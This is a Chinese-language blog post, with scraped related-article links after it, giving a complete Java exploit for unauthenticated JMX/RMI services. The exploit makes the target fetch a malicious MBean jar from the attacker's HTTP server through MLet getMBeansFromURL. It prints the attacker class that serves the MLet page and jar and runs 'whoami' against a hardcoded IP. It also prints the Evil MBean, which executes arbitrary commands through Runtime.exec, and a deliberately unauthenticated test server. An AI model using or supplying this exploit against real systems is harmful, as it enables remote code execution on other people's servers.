攻击者通过构造恶意的MBean,调用 getMBeansFromURL 从远程服务器获取 MBean,通过MLet标签提供恶意的MBean对象下载。

前提条件:

允许远程访问,没有开启认证 (com.sun.management.jmxremote.authenticate=false)

能够远程注册 MBean (javax.management.loading.MLet)

常见端口1099进行攻击,攻击过程参考第二篇链接地址。

攻击端:

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer; import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.io.*;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.util.HashSet;
import java.util.Iterator; /**
* Created by k1n9 on 2017/8/23.
*/
public class RemoteMbean {
private static String JARNAME = "compromise.jar";
private static String OBJECTNAME = "MLetCompromise1:name=evil,id=12";
private static String EVILCLASS = "Evil"; public static void main(String[] args) {
try {
//开启Http服务,提供带mlet标签的html和恶意MBean的jar包
HttpServer server = HttpServer.create(new InetSocketAddress(4141), 0);
server.createContext("/mlet", new MLetHandler());
server.createContext("/" + JARNAME, new JarHandler());
server.setExecutor(null);
server.start();
//这里可以改成args的参数就可以在命令行下使用了,JMX的ip,端口,要执行的命令
connectAndOwn("192.168.20.112", "8888", "whoami"); server.stop(0);
} catch (IOException e) {
e.printStackTrace();
}
} static void connectAndOwn(String serverName, String port, String command) {
try {
//建立连接
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
System.out.println("URL: " + u + ", connecting"); JMXConnector c = JMXConnectorFactory.connect(u, null);
System.out.println("Connected: " + c.getConnectionId()); MBeanServerConnection m = c.getMBeanServerConnection(); ObjectInstance evil_bean = null;
try {
evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAME));
} catch (Exception e) {
evil_bean = null;
} if (evil_bean == null) {
System.out.println("Trying to create bean...");
ObjectInstance evil = null;
try {
evil = m.createMBean("javax.management.loading.MLet", null);
} catch (javax.management.InstanceAlreadyExistsException e) {
evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
} System.out.println("Loaded " + evil.getClassName());
//调用 getMBeansFromURL 从远程服务器获取 MBean
/*
加载包含 MLET 标记的文本文件,这些标记定义了要添加到 MBean 服务器的 MBean。
文本文件的位置由 URL 指定。
使用 UTF-8 编码来读取文本文件。
MLET 文件中指定的 MBean 将被实例化并在 MBean 服务器中注册。
*/
Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL",
new Object[] {String.format("http://%s:4141/mlet", InetAddress.getLocalHost().getHostAddress())},
new String[] {String.class.getName()}
);
HashSet res_set = (HashSet)res;
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
if (nextObject instanceof Exception) {
throw ((Exception)nextObject);
}
evil_bean = ((ObjectInstance)nextObject);
}
//调用恶意 MBean 中用于执行命令的函数
System.out.println("Loaded class: " + evil_bean.getClassName() + " object " + evil_bean.getObjectName());
System.out.println("Calling runCommand with: " + command);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{command}, new String[]{String.class.getName()});
System.out.println("Result: " + result);
} catch (Exception e) {
e.printStackTrace();
}
} static class MLetHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
/**
* mlet 标签
*
* CODE = class | OBJECT = serfile
* ARCHIVE = "archiveList"
* [CODEBASE = codebaseURL]
* [NAME = mbeanname]
* [VERSION = version]
* >
* [arglist]
*
*/
String respone = String.format("<HTML><mlet code=%s archive=%s name=%s></mlet></HTML>", EVILCLASS, JARNAME, OBJECTNAME);
System.out.println("Sending mlet: " + respone + "\n");
t.sendResponseHeaders(200, respone.length());
OutputStream os = t.getResponseBody();
os.write(respone.getBytes());
os.close();
}
} static class JarHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
System.out.println("Request made for JAR...");
//这里的 compromise.jar 可以根据实际的路径来修改
File file = new File("E:\\Struts2-Vulenv-master\\JndiExploit\\src\\compromise.jar");
byte[] bytearray = new byte[(int)file.length()];
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
bis.read(bytearray, 0 , bytearray.length);
t.sendResponseHeaders(200, file.length());
OutputStream os = t.getResponseBody();
os.write(bytearray, 0, bytearray.length);
os.close();
}
}
}

EvilMBean.java

public interface EvilMBean {
public String runCommand(String cmd);
}

Evil.java

import java.io.BufferedReader;
import java.io.InputStreamReader; public class Evil implements EvilMBean {
@Override
public String runCommand(String cmd) {
try {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String stdout_err_data = "";
String s;
while ((s = stdInput.readLine()) != null) {
stdout_err_data += s + "\n";
}
while ((s = stdError.readLine()) != null) {
stdout_err_data += s + "\n";
} proc.waitFor();
return stdout_err_data;
} catch (Exception e) {
return e.toString();
}
}
}

服务器:

import javax.management.MBeanServer;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.net.MalformedURLException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HelloAgentRemote {
public static void main(String[] args) throws Exception { //创建MBeanServer
MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
// ObjectName helloName = new ObjectName("jmxBean:name=Evil");
//注册MBean,client通过helloName来获取new Evil()对象
// mbs.registerMBean(new Evil(), helloName); try {
//这句话非常重要,不能缺少!注册一个端口,绑定url后,客户端就可以使用rmi通过url方式来连接JMXConnectorServer
LocateRegistry.createRegistry(8888);
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:8888/jmxrmi");
JMXConnectorServer cs = JMXConnectorServerFactory.newJMXConnectorServer(url, null, mbs);
System.out.println("....................begin rmi start.....");
cs.start();
System.out.println("....................rmi start.....");
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} }
}

https://paper.tuisec.win/detail/28e1afa65b4ce86

https://www.secpulse.com/archives/6203.html

JMX RMI 攻击利用的更多相关文章

  1. 转:中间人攻击利用框架bettercap测试

    0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...

  2. service:jmx:rmi:///jndi/rmi

    service:jmx:rmi:///jndi/rmi://ip:9889/jmxrmi http://stackoverflow.com/questions/2768087/explain-jmx- ...

  3. VisualVM 使用 service:jmx:rmi:///...无法连接linux远程服务器

    VisualVM 无法使用 service:jmx:rmi:///jndi/rmi:///jmxrmi 连接到 关闭远程机器的防火墙即可:service iptables stop 不关闭防火墙的解决 ...

  4. JMX/RMI Nice ENGAGE <= 6.5 Remote Command Execution

    CVE ID : CVE-2019-7727 JMX/RMI Nice ENGAGE <= 6.5 Remote Command Execution description=========== ...

  5. 中间人攻击利用框架bettercap测试

    0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...

  6. Linux下中间人攻击利用框架bettercap测试

    0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它 ...

  7. 错误: JMX 连接器服务器通信错误: service:jmx:rmi://***

    电脑没有空间了,正想清理一下硬盘空间,这时不知道金山毒霸啥时候装上了,就想把它卸载了,卸载的过程中看到有空间清理,随手一点,清理出了10个G,然后再打开idea运行项目就报出这个错. 错误: JMX ...

  8. Redis配置及攻击利用

    Redis配置及攻击利用 Redis及其安全配置 Redis介绍 redis默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...

  9. discuzX3.2 X3.4网站漏洞修复 SQL注入与请求伪造攻击利用与修复

    2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞 ...

随机推荐

  1. Maven包查询库

    第一个: http://search.maven.org/ 第二个: http://mvnrepository.com/artifact/aspectj/aspectjweaver

  2. Java下载execl表格

    Java用POI往execl表格中写数据,并下载下来有两种方式 1.用poil的API创建表格,并设计好表格格式,然后往里面写数据 /** * execl导出 创建表格式,并写入数据 * @param ...

  3. 解决:oracle+myBatis ResultMap 类型为 map 时,表字段类型有 Long/Blob/Clob 时报错

    前言:最近在做一个通用查询单表的组件,所以 sql 的写法就是 select *,然后 resultType="map" .如果数据库中的表里有字段类型为 Long 等类型时,my ...

  4. JPA、ORM

    JPA:全称:Java Persistence API 解释:Java持久层API (接口规范) ORM映射元数据 JPA支持XML和JDK5.0注解两种元数据的形式,元数据描述对象和表之间的映射关系 ...

  5. JAVA generic array 泛型数组

    在JAVA中是不支持泛型数组的,不能通过 Z[] array=new Z[10] 这样的方式来创建数组,而是使用反射Aarry.newInstance来创建: 具体代码如下: public Z[][] ...

  6. js-JavaScript实现数字的千位分隔符

    function thousandSeparator(num) { return num && (num .toString().indexOf('.') != -1 ? num.to ...

  7. ActiveReports 报表应用教程 (14)---数据可视化

    葡萄城ActiveReports报表中提供了丰富的数据可视化解决方案,用户可以将数据以图像化的方式进行显示,让报表数据更加形象且便于理解.在葡萄城ActiveReports报表中提供了大多数常用的二维 ...

  8. 安装 Java 开发工具包JDK(Windows版本)

    前言: 进行java开发,首先要安装jdk,安装完成之后,还需要进行环境变量配置,以下就介绍一下具体步骤 具体步骤: 1.进入官网(https://www.oracle.com/technetwork ...

  9. window下安装RabbitMQ

    RabbitMQ: MQ全称为Message Queue, 消息队列(MQ)是一种应用程序对应用程序的通信方法.应用程序通过读写出入队列的消息(针对应用程序的数据)来通信,而无需专用连接来链接它们.消 ...

  10. HTML5详解

    本文最初发表于博客园,并在GitHub上持续更新前端的系列文章.欢迎在GitHub上关注我,一起入门和进阶前端. 以下是正文. HTML5的介绍 Web 技术发展时间线 1991 HTML 1994 ...